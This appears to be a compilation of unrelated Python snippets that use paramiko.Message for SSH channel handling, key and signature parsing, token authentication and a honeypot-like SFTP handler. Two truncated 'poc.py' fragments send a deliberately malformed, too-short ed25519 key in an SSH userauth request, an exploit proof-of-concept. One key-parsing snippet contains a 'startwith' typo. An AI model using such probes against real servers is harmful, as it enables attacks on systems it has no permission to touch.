def receive_all(self): """ Flushes the receive buffer, returning all text that was in it. :return: the text that was present in the receive queue, if any. """ self._verify_connected() logging.debug('Receiving all data') # Going behind Paramiko's back here; the Channel object does not have a # function to do this, but the BufferedPipe object that it uses to # store incoming data does. Note that this assumes stderr is redirected # to the main recv queue. data = self.channel.in_buffer.empty() # Check whether need to send a window update. ack = self.channel._check_add_window(len(data)) # The number of bytes we receive is larger than in_windows_threshold, # send a window update. Paramiko Channel only sends window updates # when received bytes exceed its threshold. if ack > 0: m = paramiko.Message() m.add_byte(chr(paramiko.channel.MSG_CHANNEL_WINDOW_ADJUST)) m.add_int(self.channel.remote_chanid) m.add_int(ack) self.channel.transport._send_user_message(m) # translate return data to string data = data.decode() return data
def parse_pub_key(public_key): """Parse public_key string to paramiko key. Throws exception if key is broken. """ if paramiko is None: raise Exception("You need paramiko to use ssh with public keys") public_key_elms = public_key.split(' ') # Either we have 'from' or 'ssh-' as first element if len(public_key_elms) > 0 and \ public_key_elms[0].startswith('ssh-'): ssh_type_idx = 0 elif len(public_key_elms) > 1 and \ public_key_elms[1].startwith('ssh-'): ssh_type_idx = 1 else: msg = 'Invalid ssh public key: (%s)' % public_key raise ValueError(msg) head, tail = public_key.split(' ')[ssh_type_idx:2 + ssh_type_idx] bits = base64.decodestring(tail) msg = paramiko.Message(bits) if head == 'ssh-rsa': parse_key = paramiko.RSAKey elif head == 'ssh-dss': parse_key = paramiko.DSSKey else: # Try RSA for unknown key types parse_key = paramiko.RSAKey return parse_key(msg)
def is_signature_valid(self, signed, fingerprint, signature): """Return whether this signature is valid for the signed data""" try: return self.keys.collection.public_rsaobj_for( fingerprint).verify_ssh_sig( signed, paramiko.Message(unhexlify(signature))) except TypeError: return False
def message_from_string(s): msg = paramiko.Message(content=s) mtype = msg.get_int() id = msg.get_int64() data = msg.get_string() if data: data = marshal.loads(data) return IPCMessage(mtype, id=id, data=data)
def get_message(self): msg = paramiko.Message() msg.add_int(self.mtype) if not self.id: self.id = self.new_id() msg.add_int64(self.id) msg.add_string(marshal.dumps(self.data)) return msg
def __init__(self, username, password, chroot=True, home=None, public_key=None): self.username = username self.password = password self.chroot = chroot self.public_key = public_key if type(self.public_key) in (str, unicode): bits = base64.decodestring(self.public_key.split(' ')[1]) msg = paramiko.Message(bits) key = paramiko.RSAKey(msg) self.public_key = key self.home = home if self.home is None: self.home = self.username
def send_response(self, request_number, t, *arg): msg = paramiko.Message() msg.add_int(request_number) for item in arg: if isinstance(item, int): msg.add_int(item) elif isinstance(item, str): msg.add_string(item) elif type(item) is paramiko.SFTPAttributes: item._pack(msg) else: raise Exception("unknown type") self._send_packet(t, msg)
def ping(self): m = paramiko.Message() m.add_byte(struct.pack('b', paramiko.common.MSG_GLOBAL_REQUEST)) m.add_string('*****@*****.**') m.add_boolean(True) self.transport._send_user_message(m) self.transport.completion_event.wait(0.1) if self.transport.completion_event.is_set(): self.transport.completion_event.clear() self.pending_count = 0 return True self.pending_count += 1 if self.pending_count > self.threshold: raise ServerNotResponding(self.transport.getName()) return False
def _sign_payload(self, encrypted_payload): """ encrypted_payload - base64 representation of the encrypted payload. returns: base64-encoded signature """ sign_message = self.sender_key.sign_ssh_data(encrypted_payload) # Verify what we generated just in case: verify_message = paramiko.Message(sign_message.asbytes()) verify_res = self._verify_signature(encrypted_payload, verify_message) if not verify_res: self._raise_error("FAILED to verify signed data. ABORTING.") result = base64.b64encode(sign_message.asbytes()) return result
def empty_in_buffer(self): """ Empty the incoming channel buffer into data. Send window update when received data exceeds threshold Returns: :data (str): data in the form of str """ if self.connected(): data = self.channel.in_buffer.empty() win_update = self.channel._check_add_window(len(data)) if win_update > 0: msg = paramiko.Message() msg.add_byte(paramiko.channel.cMSG_CHANNEL_WINDOW_ADJUST) msg.add_int(self.channel.remote_chanid) msg.add_int(win_update) self.channel.transport._send_user_message(msg) return data
def get_auth_token_ssh(account, signature, appid, ip=None, session=None): """ Authenticate a Rucio account temporarily via SSH key exchange. The token lifetime is 1 hour. :param account: Account identifier as a string. :param signature: Response to server challenge signed with SSH private key as string. :param appid: The application identifier as a string. :param ip: IP address of the client as a string. :param session: The database session in use. :returns: A models.Token object as saved to the database. """ if not isinstance(signature, bytes): signature = signature.encode() # Make sure the account exists if not account_exists(account, session=session): return None # get all active challenge tokens for the requested account active_challenge_tokens = session.query(models.Token).filter(models.Token.expired_at >= datetime.datetime.utcnow(), models.Token.account == account, models.Token.token.like('challenge-%')).all() # get all identities for the requested account identities = session.query(models.IdentityAccountAssociation).filter_by(identity_type=IdentityType.SSH, account=account).all() # no challenge tokens found if not active_challenge_tokens: return None # try all available SSH identities for the account with the provided signature match = False for identity in identities: pub_k = paramiko.RSAKey(data=b64decode(identity['identity'].split()[1])) for challenge_token in active_challenge_tokens: if pub_k.verify_ssh_sig(str(challenge_token['token']).encode(), paramiko.Message(signature)): match = True break if match: break if not match: return None # remove expired tokens session.query(models.Token).filter(models.Token.expired_at < datetime.datetime.utcnow(), models.Token.account == account).with_for_update(skip_locked=True).delete() # create new rucio-auth-token for account tuid = generate_uuid() # NOQA token = '%(account)s-ssh:pubkey-%(appid)s-%(tuid)s' % locals() new_token = models.Token(account=account, token=token, ip=ip) new_token.save(session=session) session.expunge(new_token) return new_token
def open_unix_socket(self, socket_path: str, window_size: int = common.DEFAULT_WINDOW_SIZE, max_packet_size: int = common.DEFAULT_MAX_PACKET_SIZE, timeout: tobiko.Seconds = None) \ -> paramiko.Channel: # pylint: disable=protected-access transport: typing.Any = self.connect().get_transport() if transport is None or not transport.active: raise paramiko.SSHException("SSH session not active") timeout = 3600 if timeout is None else timeout transport.lock.acquire() try: window_size = transport._sanitize_window_size(window_size) max_packet_size = transport._sanitize_packet_size(max_packet_size) chanid = transport._next_channel() # Documented here: # https://github.com/openssh/openssh-portable/blob/master/PROTOCOL m = paramiko.Message() m.add_byte(b'Z') m.add_string('*****@*****.**') m.add_int(chanid) m.add_int(window_size) m.add_int(max_packet_size) m.add_string(socket_path) # Reserved stuff m.add_string('') m.add_int(0) sock: typing.Any = paramiko.Channel(chanid) transport._channels.put(chanid, sock) transport.channel_events[chanid] = event = threading.Event() transport.channels_seen[chanid] = True sock._set_transport(transport) sock._set_window(window_size, max_packet_size) finally: transport.lock.release() transport._send_user_message(m) start_ts = tobiko.time() while True: event.wait(0.1) if not transport.active: e = transport.get_exception() if e is None: e = paramiko.SSHException("Unable to open channel.") raise e if event.is_set(): break elif start_ts + timeout < time.time(): raise paramiko.SSHException("Timeout opening channel.") sock = transport._channels.get(chanid) if sock is None: e = transport.get_exception() if e is None: e = paramiko.SSHException("Unable to open channel.") raise e return sock
if len(sys.argv) != 4: print('./poc.py <host> <port> <user>') sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) t = paramiko.Transport(sock) t.start_client() t.lock.acquire() m = paramiko.Message() m.add_byte(cMSG_SERVICE_REQUEST) m.add_string("ssh-userauth") t._send_message(m) m = paramiko.Message() m.add_byte(cMSG_USERAUTH_REQUEST) m.add_string(user) m.add_string("ssh-connection") m.add_string('publickey') m.add_boolean(True) m.add_string('ssh-ed25519') # Send an SSH key that is too short (ed25519 keys are 32 bytes) m.add_string( b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')
def start_subsystem(self, name, transport, channel): self.sock = channel username = self.get_server().transport.get_username() home = 'root' if username == 'root' else 'home/%s' % username self._send_server_version() while True: try: t, data = self._read_packet() msg = paramiko.Message(data) req_num = msg.get_int() if t == sftp.CMD_REALPATH: path = msg.get_text() self.log_event(sftp_cmd='realpath', path=path) self.send_response( req_num, sftp.CMD_NAME, 1, '/' + clean_path(home + '/' + path.replace('\\', '/')), '', paramiko.SFTPAttributes(), ) elif t == sftp.CMD_OPEN: self.log_event(sftp_cmd='open', path=msg.get_text()) self.send_response(req_num, sftp.CMD_HANDLE, secrets.token_hex(4)) elif t == sftp.CMD_CLOSE: self.log_event(sftp_cmd='close') self.send_status(req_num, paramiko.SFTP_OK) elif t == sftp.CMD_READ: self.log_event(sftp_cmd='read') self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE) elif t == sftp.CMD_WRITE: self.log_event(sftp_cmd='write') self.send_status(req_num, paramiko.SFTP_OK) elif t == sftp.CMD_REMOVE: self.log_event(sftp_cmd='remove', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_RENAME: self.log_event( sftp_cmd='rename', source=msg.get_text(), destination=msg.get_text(), ) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_MKDIR: self.log_event(sftp_cmd='mkdir', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_RMDIR: self.log_event(sftp_cmd='rmdir', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_OPENDIR: self.log_event(sftp_cmd='opendir', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_READDIR: self.log_event(sftp_cmd='readdir') self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE) elif t == sftp.CMD_STAT: self.log_event(sftp_cmd='stat', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_LSTAT: self.log_event(sftp_cmd='lstat', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_FSTAT: self.log_event(sftp_cmd='fstat') self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE) elif t == sftp.CMD_SETSTAT: self.log_event(sftp_cmd='setstat', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_FSETSTAT: self.log_event(sftp_cmd='fsetstat') self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE) elif t == sftp.CMD_READLINK: self.log_event(sftp_cmd='readlink', path=msg.get_text()) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_SYMLINK: self.log_event( sftp_cmd='symlink', target=msg.get_text(), link_name=msg.get_text(), ) self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) elif t == sftp.CMD_EXTENDED: tag = msg.get_text() if tag == 'check-file': self.send_status(req_num, paramiko.SFTP_BAD_HANDLE) elif tag.endswith('@openssh.com'): self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED) self.log_event(sftp_cmd='extended', tag=tag) else: self.log_event(sftp_cmd_raw=t) self.send_status(req_num, paramiko.SFTP_OP_UNSUPPORTED) except EOFError: return except Exception as e: traceback.print_exc() return
if len(sys.argv) != 4: print('./poc.py <host> <port> <user>') sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) t = paramiko.Transport(sock) t.start_client() t.lock.acquire() m = paramiko.Message() m.add_byte(cMSG_SERVICE_REQUEST) m.add_string("ssh-userauth") t._send_message(m) m = paramiko.Message() m.add_byte(cMSG_USERAUTH_REQUEST) m.add_string(user) m.add_string("ssh-connection") m.add_string('publickey') m.add_boolean(True) m.add_string('ssh-ed25519') # Send an SSH key that is too short (ed25519 keys are 32 bytes) key = paramiko.Message() key.add_string('ssh-ed25519')